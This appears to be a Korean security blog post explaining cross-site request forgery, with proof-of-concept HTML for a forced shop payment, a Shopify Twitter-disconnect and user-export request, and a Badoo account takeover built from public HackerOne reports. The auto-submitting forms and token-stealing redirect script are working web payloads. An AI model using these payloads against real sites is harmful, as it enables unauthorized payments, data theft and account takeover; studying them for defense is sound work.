2018. 10. 28.

CSRF poc 코드

CSRF 취약점은 특정 사용자를 대상으로 하지 않고, 불특정 다수를 대상으로 로그인된 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 하게 만드는 공격이다.

XSS 공격은 악성 스크립트가 클라이언트에서 실행되는데 반해, CSRF 공격은 사용자가 악성 스크립트를 서버에 요청한다는 차이가 있다.

POST 로 진행 될 경우, 다음과 같이 CSRF 공격을 할 수 있다.
공격자는 이미 특정 물품을 구매하여 장바구니에 넣어두고, 해당 물품에 대한 결재를 다른 이를 통해 다음과 같은 형태로 수행 할 수 있다.


<html>
<body onload = "document.csrf.submit()">
<form name="csrf" action="http://www.shop.co.kr/mainadmin/order/order.jsp" method="POST">
<input type="hidden" name="uid" value="nike">
<input type="hidden" name="mode" value="pay_for_order">
<input type="hidden" name="amount" value="10000">
</form>
</body>
</html>

위 형태로 HTML 파일 형태로 저장을 해도 되고, 게시판 형태에 아래의 내용을 삽입 할 수 있다.


<body onload = "document.csrf.submit()">
<form name="csrf" action="http://www.shop.co.kr/mainadmin/order/order.jsp" method="POST">
<input type="hidden" name="uid" value="nike">
<input type="hidden" name="mode" value="pay_for_order">
<input type="hidden" name="amount" value="10000">
</form>
</body>

일반적으로 CSRF 가 성립하려면 수정/삭제/등록 등을 하는 액션에서 사용자를 구문하는 파라미터 값이 존재하지 않아야 한다. 특정 사용자를 구분하는 인수가 있으면 하나의 사용자에게만 적용되거나 인증 과정을 통해 CSRF 공격을 막을 수 있다.

------------------



case 1) 실사례를 보자, CSRF 취약점을 이용해서, 프로필의 트위터 계정을 연결해제를 시킬 수 있는 취약점이 존재하였다.

Vulnerable request
GET /auth/twitter/disconnect HTTP/1.1
Host: twitter-commerce.shopifyapps.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html, application/xhtml+xml, application/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://twitter-commerce.shopifyapps.com/account
Cookie: _twitter-commerce_session=bmpuTE5EdnUvYUU0eGxJRk1kMWo5WkI3Wmh1clJkempOTDcya2R3eFNIMG8zWGdpenMvTXY4eFczTWUrNGRQeXV4ZGVycEVtTDZWcFZVbEg1eEtFQjhzSEJVbkM5K05VUVJaeHVtNXBnNTJCNTdwZ2hLL0x0Kyt4eUVlSjRIOWdYTkcwd1NQWWJnbjRNaTF5UXlwa1ZIUlAwR1JmZ1Y5WmRvN2ZHWFY5REZSUmlsR0lnMHZlSjR1OTlTMW5xWDdZRnVGSnBSeEhqbWpNS3lYZmxBNjZoVE00L3pQT2NMd1NONkdwb2pkMXhDS1E2M2RXYlovZjYwaUZnV0JQKzQySlN0MTNKNG55Zlg2azFDdVJJL3RidmJMM0VJNmRVejhZbjVDTnFZNmxFN0k9LS1lY1Y2dnpBZTJCalZzS014SldFUllBPT0%3D--77463ef21e4c8ef530f466db49f78b8e1c2e1129; _ga=GA1.2.469272249.1453024796; _gat=1
Connection: keep-alive

POC code

<html>
<body>
 <img src="https://twitter-commerce.shopifyapps.com/twitter/disconnect">
  </body>
</html>
// img 태그로 사이트에 요청(request)을 하는 방법도 있다는 것.
재현 절차

  • https://madamcury.myshopify.com/admin/apps/shopify-twitter에서 twitter 어플리케이션을 추가한다.
  • twitter 계정을 연동한다.
  • 위의 poc 코드를 이용해서 twitter 계정을 끊는다.


즉, POC 코드를 실행하는 것 만으로, 로그인된 사용자가 자신의 의지와는 무관하게 연동된 트위터 계정을 끊게 되는 것이다.

관련 사이트

  • Twitter Disconnect CSRF - https://hackerone.com/reports/111216


-----------------

case 2) get 메소드로 전송되는 앱 아이디 (숫자)를 자신의 아이디로 임의로 변경하여 서버에 전달

<html>
<head><title>csrf</title></head>
<body onLoad="document.forms[0].submit()">  <!-- 프로그램이 기동될때 submit 이 작동하도록 <input type="submit">  -->
<form action="https://app.shopify.com/services/partners/api_clients/1105664/
export_installed_users" method="GET">
</form>
</body>
</html>

submit 이란 함수는 input 또는 textarea 값을 저장해서 get/post 형식으로 데이터를 넘겨주는 함수이다. submit를 하기 위해서 먼저 form 을 이해해야 한다.
<formname="name" method="post" action="abc.jsp" id=frmtest">
폼의 이름이 name 이고 post 방식, 그리고 데이터 넘겨줄 페이지가 abc.jsp 라고 정의한 것이다.
이 폼을 submit 하기 위해서는 submit 버튼이 필요하다.
<input type="submit" value="전송">
하지만 위와 같이 클릭이 아닌, 이벤트로 submit 을 실행하기 위해서는 javascript를 사용해야 한다.



위에서 1105664를 본인의 app ID로 바꾸고 서버에 전달한다.


case 3)badoo 라는 앱 데이팅 사이트에서 CSRF 취약점이 발견된 사례이다.

badoo에서 로그인된 사용자가 gmail 연동할때, 사용자는 badoo에게 gmail 계정 사용을 위한 권한을 부여한다. 그리고 나서 아래 url로 리다이렉트 된다.

https://eu1.badoo.com/google/verify.phtml?rt=<State_param_value>&code=<Code_returned_from_google>

여기서부터 시작이다. CSRF 공격을 막기위해서는 위의 사용자/세션을 위한 고유정보인 rt 파라미터를 보호하는 것이다. 해커는 거의 모든 json 응답값에서 rt 파라미터가 반환되는것을 알았다.

https://eu1.badoo.com/worker-scope/chrome-service-worker.js
위의 javascript 파일에 rt 파라미터 값이 아래와 같은 형태로 포함되어 있는것을 발견했다.


var url_stats = 'https://eu1.badoo.com/chrome-push-stats?ws=1&rt=<rt_param_value>';

(지금 확인해 보니 저렇게 변경되었다.)


이를 통해, 맨 처음에 보았던 gmail 계정을 연동할 때 받았던 url 에 위 rt 파라미터 값을 삽입하여 세션을 탈취할 수 있다.



<html><head><title> Badoo account take over </title>
<script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></script>
</head>
<body>
<script>
function getCSRFcode(str) {
    return str.split('=')[2]; // = 를 기준으로 자르고 0,1,2 즉 3번째 문자열 반환, 예를 들면 how=old=are=you 라면 are 를 반환
}
window.onload = function(){   // 시작시 사용될 내용
var csrf_code = getCSRFcode(url_stats);  // rt 파라미터 값을 얻는다.
csrf_url = 'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810&prompt=none&rt='+ csrf_code;
window.location = csrf_url;
};
</script>

공격자가 자신의 gmail, facebook 계정을 희생자의 badoo 계정으로 연동하면, 공격자는 희생자의 badoo 계정을 획득할 수 있다.

#관련 근거

  • https://hackerone.com/reports/127703


#참고

  • http://terms.naver.com/entry.nhn?docId=3431919&cid=58437&categoryId=58437

Popular Posts

Recent Posts

Powered by Blogger.